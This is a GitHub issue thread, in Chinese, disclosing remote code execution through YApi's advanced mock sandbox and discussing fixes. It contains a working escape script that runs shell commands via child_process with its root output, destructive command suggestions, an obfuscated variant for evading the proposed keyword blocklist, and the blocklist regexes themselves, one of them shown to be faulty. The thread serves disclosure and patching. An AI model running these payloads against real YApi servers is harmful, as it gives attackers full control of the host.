Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

高级Mock可以获取到系统操作权限 #2099

Open
Loushangkeji opened this issue Jan 27, 2021 · 45 comments
Open

高级Mock可以获取到系统操作权限 #2099

Loushangkeji opened this issue Jan 27, 2021 · 45 comments

Comments

@Loushangkeji
Copy link

版本号

~
1.9.2

什么问题

~
高级Mock可以获取到系统操作权限

如何复现此问题

~
在接口中文档中 添入如下 mock 脚本

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

保存后,直接请求 对应的 Mock 地址
Mock地址:http://xxxx/mock/77/xxxxx
可以看到如下信息

root
root      2525     1  0 Jan26 ?        00:02:23 xxxxx
root      3694     1  0 Jan06 ?        00:10:59 aaaaaa
root      7046     1  0  2020 ?        06:46:50 bbbbbb
root      8073     1  0  2020 ?        01:21:46 cccccc

什么浏览器

~
chrome

什么系统(Linux, Windows, macOS)

centOS 7

@Loushangkeji
Copy link
Author

虽然作者停止维护了,但是还是希望作者把这个安全漏洞修复一下。感谢

@WangJi
Copy link

WangJi commented Jan 27, 2021

安全因素主要来自于开放注册
see 如何禁止注册

@LouShangxiaolong
Copy link

安全因素主要来自于开放注册
see 如何禁止注册

感谢。
但是漏洞本身才是安全问题的主要因素。

@quarter-life
Copy link

安全因素主要来自于开放注册
see 如何禁止注册

感觉这个漏洞并不是主要来源开放注册,如果只是一个人使用那么这个漏洞也无从说起,但是该漏洞代表所有账户中有权限建立接口的人都能操作部署Yapi的服务器,那么已经存在的账户,每个团队成员都是隐患。

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

安全因素主要来自于开放注册
see 如何禁止注册

如果关闭注册,那么第二个问题来了,管理员如何新增新用户?
#409 (comment)

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

如果真的是这样,那就太危险了。
另外问下,你们是怎么处理用户注册和新增用户的?LDAP?

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

如果真的是这样,那就太危险了。
另外问下,你们是怎么处理用户注册和新增用户的?LDAP?

@Loushangkeji

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

还真的如此,但是本质原因在哪里呢,是代码漏洞,还是安装的时候使用root权限?
欢迎大家访问操作我
http://101.91.214.203:81/mock/16/v2/woshipogaizai

image

@LouShangxiaolong
Copy link

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

@LouShangxiaolong
Copy link

还真的如此,但是本质原因在哪里呢,是代码漏洞,还是安装的时候使用root权限?
欢迎大家访问操作我
http://101.91.214.203:81/mock/16/v2/woshipogaizai

image

image
能获取你的所有信息,只要改改mock的话就能直接操作你的服务器了

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

@LouShangxiaolong
Copy link

LouShangxiaolong commented Feb 6, 2021

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

rm -rf /* 还不够危险吗

@LouShangxiaolong
Copy link

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

image
你可以随意更改为你认为危险的sell命令啊

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

image
你可以随意更改为你认为危险的sell命令啊

不会啊,我改成reboot命令,执行,{"errcode":404,"errmsg":"不存在的api, 当前请求path为 /shell-top, 请求方法为 GET ,请确认是否定义此请求。","data":null}是不是child_process返回执行必须是json格式?还是说你的Mock脚本是个例外。
你给我来个危险的,或者随便改个mkdir,我操作试试。
还有啊,LDAP你是用命令管理还是可视化PHPLDAP管理的?

@Loushangkeji

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

image
你可以随意更改为你认为危险的sell命令啊

不会啊,我改成reboot命令,执行,{"errcode":404,"errmsg":"不存在的api, 当前请求path为 /shell-top, 请求方法为 GET ,请确认是否定义此请求。","data":null}是不是child_process返回执行必须是json格式?还是说你的Mock脚本是个例外。
你给我来个危险的,或者随便改个mkdir,我操作试试。
还有啊,LDAP你是用命令管理还是可视化PHPLDAP管理的?

@Loushangkeji

莫非,shell命令已经执行了,只是yapi返回解析错误?

@LouShangxiaolong
Copy link

LouShangxiaolong commented Feb 6, 2021

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

image
你可以随意更改为你认为危险的sell命令啊

不会啊,我改成reboot命令,执行,{"errcode":404,"errmsg":"不存在的api, 当前请求path为 /shell-top, 请求方法为 GET ,请确认是否定义此请求。","data":null}是不是child_process返回执行必须是json格式?还是说你的Mock脚本是个例外。
你给我来个危险的,或者随便改个mkdir,我操作试试。
还有啊,LDAP你是用命令管理还是可视化PHPLDAP管理的?
@Loushangkeji

莫非,shell命令已经执行了,只是yapi返回解析错误?

mockJson = process.mainModule.require("child_process").execSync("echo '1111' >> /data/test.text").toString()
或者创建文件啊。基本上什么都能操作。还能把ssh私钥发到服务器,之后就可以直接不需要账号密码登录你的服务了

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

呵呵,还真可以,原来一直报错,是因为方法是POST,直接reboot了

目前采用的是LDAP。
然后这个应该算是代码漏洞吧,没有过滤掉一些敏感操作。
和使用什么账号安装没有关系,只要启动服务的时候用的哪个账号,mock就能只用哪个账号的权限了。

还有其他高级mock脚本吗,执行shell命令,越危险越好,我试试,在1.3.2版本,高级mock目前不会有问题

image
你可以随意更改为你认为危险的sell命令啊

不会啊,我改成reboot命令,执行,{"errcode":404,"errmsg":"不存在的api, 当前请求path为 /shell-top, 请求方法为 GET ,请确认是否定义此请求。","data":null}是不是child_process返回执行必须是json格式?还是说你的Mock脚本是个例外。
你给我来个危险的,或者随便改个mkdir,我操作试试。
还有啊,LDAP你是用命令管理还是可视化PHPLDAP管理的?
@Loushangkeji

莫非,shell命令已经执行了,只是yapi返回解析错误?

mockJson = process.mainModule.require("child_process").execSync("echo '1111' >> /data/test.text").toString()
或者创建文件啊。基本上什么都能操作。还能把ssh私钥发到服务器,之后就可以直接不需要账号密码登录你的服务了

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

LDAP 怎么搞?@
@Loushangkeji

@LouShangxiaolong
Copy link

LDAP 怎么搞?@
@Loushangkeji

百度、google v🤣

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

LDAP 怎么搞?@
@Loushangkeji

百度、google v🤣

🤣🤣

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

希望YAPI最后能把这个问题修复,这个真的是大大的bug

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

修复了高级MOCK无效问题,修复过头了🤣🤣
临时先用低版本🤣🤣
image

@JaneYork
Copy link

JaneYork commented Feb 6, 2021

@hellosean1025 高级mock危险漏洞

@quarter-life
Copy link

作者可能已经放弃维护了 #2092,还是先靠自己慢慢修复吧(比如彻底关闭高级mock功能),现在这个漏洞基于你对现有用户的信任了,如果有不信任的用户,还是建议在漏洞修复前先停止yapi服务了

@JaneYork
Copy link

JaneYork commented Feb 7, 2021

作者可能已经放弃维护了 #2092,还是先靠自己慢慢修复吧(比如彻底关闭高级mock功能),现在这个漏洞基于你对现有用户的信任了,如果有不信任的用户,还是建议在漏洞修复前先停止yapi服务了

issue里并没有官方人员说放弃维护啊?哪里说了?

@quarter-life
Copy link

作者可能已经放弃维护了 #2092,还是先靠自己慢慢修复吧(比如彻底关闭高级mock功能),现在这个漏洞基于你对现有用户的信任了,如果有不信任的用户,还是建议在漏洞修复前先停止yapi服务了

issue里并没有官方人员说放弃维护啊?哪里说了?

image
该issue中“是的”就是项目作者hellosean1025回答的,不知何原因是删去了或者系统故障,展示不出

@JaneYork
Copy link

JaneYork commented Feb 7, 2021

哦,我以为自己markdonw 写的

是的

@JaneYork
Copy link

JaneYork commented Feb 7, 2021

作者可能已经放弃维护了 #2092,还是先靠自己慢慢修复吧(比如彻底关闭高级mock功能),现在这个漏洞基于你对现有用户的信任了,如果有不信任的用户,还是建议在漏洞修复前先停止yapi服务了

issue里并没有官方人员说放弃维护啊?哪里说了?

image
该issue中“是的”就是项目作者hellosean1025回答的,不知何原因是删去了或者系统故障,展示不出

确定不是自己MD?难不成想说是Microsoft问题?🤣🤣🥱🥱

是的呢

@JaneYork
Copy link

同样是1.9.1,https://yapi.baidu.com/则不可以执行高级mock,而从git clone https://gitee.com/mirrors/YApi.git vendors离线安装,脚本则会获取系统权限,是gy的吗?
image

@Meqn
Copy link

Meqn commented Mar 3, 2021

1.9.1 vs 1.9.2更新内容:8fd9819

不知道怎么修复,但过滤掉 server/utils/commons.jssandboxscript 一些关键词应该是可以的吧!

@acccccccb
Copy link

acccccccb commented Apr 21, 2021

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

@LouShangxiaolong
Copy link

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/ugils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

赞 👍,我看了一下源码后发现有好几个执行脚本的地方
yapi/server/utils/commons.js 此路劲下有三个地方调用
image
所以要改的话,修改公共函数 yapi/common/postmanLib.js 第178行 function sandboxByNode(sandbox = {}, script) 是否更好。
sandboxByNode

function sandboxByNode(sandbox = {}, script) {
  let filter = 'process|exec|require'; 
  let reg = new RegExp("["+filter+"]", "g"); 
  if(reg.test(script)) { 
   throw new Error("执行失败,脚本中含敏感操作....");
  }
  const vm = require('vm');
  script = new vm.Script(script);
  const context = new vm.createContext(sandbox);
  script.runInContext(context, {
    timeout: 10000
  });
  return sandbox;
}

以及可以结合你第一个方案,let filter = 'process|exec|require'; 等敏感指令放在config.json中,完全自定义

@acccccccb
Copy link

acccccccb commented Apr 22, 2021

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

赞 👍,我看了一下源码后发现有好几个执行脚本的地方
yapi/server/utils/commons.js 此路劲下有三个地方调用
image
所以要改的话,修改公共函数 yapi/common/postmanLib.js 第178行 function sandboxByNode(sandbox = {}, script) 是否更好。
sandboxByNode

function sandboxByNode(sandbox = {}, script) {
  let filter = 'process|exec|require'; 
  let reg = new RegExp("["+filter+"]", "g"); 
  if(reg.test(script)) { 
   throw new Error("执行失败,脚本中含敏感操作....");
  }
  const vm = require('vm');
  script = new vm.Script(script);
  const context = new vm.createContext(sandbox);
  script.runInContext(context, {
    timeout: 10000
  });
  return sandbox;
}

以及可以结合你第一个方案,let filter = 'process|exec|require'; 等敏感指令放在config.json中,完全自定义

同意

@xufengnian
Copy link

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

其它地方OK,不过你们测试过这句正则嘛
const reg = new RegExp("["+filter+"]", "g");
这个正则最后的规则是"/[process|exec|require]/g",我自己环境测试的结果就是无论script里有没有关键字单词,都会return false;
把语句改成const reg = new RegExp(filter, "g"); 就正常了,正则规则是"/process|exec|require/g",和原规则比少了[],我印象中js的匹配多个单词是不需要[]的,

同时const filter = 'process|exec|require'; 可以再增加一个spawn,它也是nodejs里执行命令的函数之一

@sunu11
Copy link

sunu11 commented Jul 9, 2021

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

其它地方OK,不过你们测试过这句正则嘛
const reg = new RegExp("["+filter+"]", "g");
这个正则最后的规则是"/[process|exec|require]/g",我自己环境测试的结果就是无论script里有没有关键字单词,都会return false;
把语句改成const reg = new RegExp(filter, "g"); 就正常了,正则规则是"/process|exec|require/g",和原规则比少了[],我印象中js的匹配多个单词是不需要[]的,

同时const filter = 'process|exec|require'; 可以再增加一个spawn,它也是nodejs里执行命令的函数之一

正则我也测试了一下,确实如老哥所说,我擦。还好老哥提醒了。

@acccccccb
Copy link

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

其它地方OK,不过你们测试过这句正则嘛
const reg = new RegExp("["+filter+"]", "g");
这个正则最后的规则是"/[process|exec|require]/g",我自己环境测试的结果就是无论script里有没有关键字单词,都会return false;
把语句改成const reg = new RegExp(filter, "g"); 就正常了,正则规则是"/process|exec|require/g",和原规则比少了[],我印象中js的匹配多个单词是不需要[]的,

同时const filter = 'process|exec|require'; 可以再增加一个spawn,它也是nodejs里执行命令的函数之一

老哥稳 这个正则确实有点问题,加了中括号匹配到的是区间而不是字符串匹配,大意了

@xufengnian
Copy link

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

其它地方OK,不过你们测试过这句正则嘛
const reg = new RegExp("["+filter+"]", "g");
这个正则最后的规则是"/[process|exec|require]/g",我自己环境测试的结果就是无论script里有没有关键字单词,都会return false;
把语句改成const reg = new RegExp(filter, "g"); 就正常了,正则规则是"/process|exec|require/g",和原规则比少了[],我印象中js的匹配多个单词是不需要[]的,
同时const filter = 'process|exec|require'; 可以再增加一个spawn,它也是nodejs里执行命令的函数之一

老哥稳 这个正则确实有点问题,加了中括号匹配到的是区间而不是字符串匹配,大意了

没事的哈,也是站在老哥的肩膀上的
不过我看一些公众号直接就把你这方案白嫖走了,估计也没验证过,也不知道会误导多少人,就感觉有点醉

@xufengnian
Copy link

说下我的修复方法:
1.config.json中新增一个参数: mock: false
{ ... "mock": false, }
2. 在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
在上面添加一段代码:
if(!yapi.WEBCONFIG.mock) { return false; }

这两处改动的作用是可以通过配置文件彻底关闭mock,如果你不希望关闭这个功能,继续往下看。

然后修改/server/utils/commons.js文件,找到:
sandbox = yapi.commons.sandbox(sandbox, script);
在上面添加一段代码:
const filter = 'process|exec|require'; const reg = new RegExp("["+filter+"]", "g"); if(reg.test(script)) { return false; }

如果发现mock脚本中包含指定的关键词 就中止执行。

赞 👍,我看了一下源码后发现有好几个执行脚本的地方
yapi/server/utils/commons.js 此路劲下有三个地方调用
image
所以要改的话,修改公共函数 yapi/common/postmanLib.js 第178行 function sandboxByNode(sandbox = {}, script) 是否更好。
sandboxByNode

function sandboxByNode(sandbox = {}, script) {
  let filter = 'process|exec|require'; 
  let reg = new RegExp("["+filter+"]", "g"); 
  if(reg.test(script)) { 
   throw new Error("执行失败,脚本中含敏感操作....");
  }
  const vm = require('vm');
  script = new vm.Script(script);
  const context = new vm.createContext(sandbox);
  script.runInContext(context, {
    timeout: 10000
  });
  return sandbox;
}

以及可以结合你第一个方案,let filter = 'process|exec|require'; 等敏感指令放在config.json中,完全自定义

同意

关于这个,老哥也可以确认一下,这位仁兄提的方案是否可行,上午我就测试过了,并不可以,
mock脚本执行的时候,我觉得逻辑上就没有走到这个postmanLib.js 里

@acccccccb
Copy link

关于这个bug我还有个疑问,如果写成这样的形式mock中的非法指令能否被执行?
我在控制台做了测试,得到的结果是这样的
const arr = [1,2,3]
const a = 'len'
const b = 'gth'
arr[a+b]
执行结果: => 3

同理如果将mock中的命令:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

改写成:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const fcReturn = [' pr', 'ocess']
const myfun = FunctionConstructor(fcReturn.join(''))
const $pcess = myfun()
const $cdp = ['child', '_', 'pro', 'cess']
const ec = 'ex'
const sync = 'ecSync'
const cmd = ['who', 'ami && ps -ef']
mockJson = $pcess.mainModule.require($cdp.join(''))[ec + sync](cmd.join('')).toString()

这样不就可以绕过正则了吗?这段代码我没有测试过,希望有条件测试的能试下能否执行?

@sunu11
Copy link

sunu11 commented Jul 9, 2021 via email

@xufengnian
Copy link

我测试了,如果不加正则,你的方式同样可以执行命令,但是加了验证之后,该方式无法绕过。 另外,你poc 少了个return。

------------------ 原始邮件 ------------------ 发件人: "YMFE/yapi" @.>; 发送时间: 2021年7月9日(星期五) 晚上6:11 @.>; @.@.>; 主题: Re: [YMFE/yapi] 高级Mock可以获取到系统操作权限 (#2099) 关于这个bug我还有个疑问,如果写成这样的形式mock中的非法指令能否被执行? 我在控制台做了测试,得到的结果是这样的 const arr = [1,2,3] const a = 'len' const b = 'gth' arr[a+b] 执行结果: => 3 同理如果将mock中的命令: const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString() 改写成: const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const fcReturn = [' pr', 'ocess'] const myfun = FunctionConstructor(fcReturn.join('')) const $pcess = myfun() const $cdp = ['child', '_', 'pro', 'cess'] const ec = 'ex' const sync = 'ecSync' const cmd = ['who', 'ami && ps -ef'] mockJson = $pcess.mainModule.require($cdp.join(''))ec + sync.toString() 这样不就可以绕过正则了吗?这段代码我没有测试过,希望有条件测试的能试下能否执行? — You are receiving this because you commented. Reply to this email directly, view it on GitHub, or unsubscribe.

image
它这里无法绕过正则的原因是poc里还有一个require,正则规则里还是有它的,我尝试把关键词require去掉,绕过成功了,所以黑名单,很遗憾。
事情闹得这么大,官方终于亲自下场了,还是通过引入safeify的方式修复的,比黑名单稳
顺便一提, @acccccccb 老哥是写node的吧,node语法很熟练啊,上午自己试过一些基础的拼接没有绕过,让我还有种黑名单也稳如狗的错觉,看来白嫖你修复方案的公众号又要打脸一次了

@jesseteo
Copy link

Yapi 安全问题有点多,互助下吧
image

@cshaptx4869
Copy link

请问这个问题现在官方修复了没有

@sunu11
Copy link

sunu11 commented Feb 19, 2022 via email

@smalldok
Copy link

被这个漏洞害死了,有补丁包吗

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests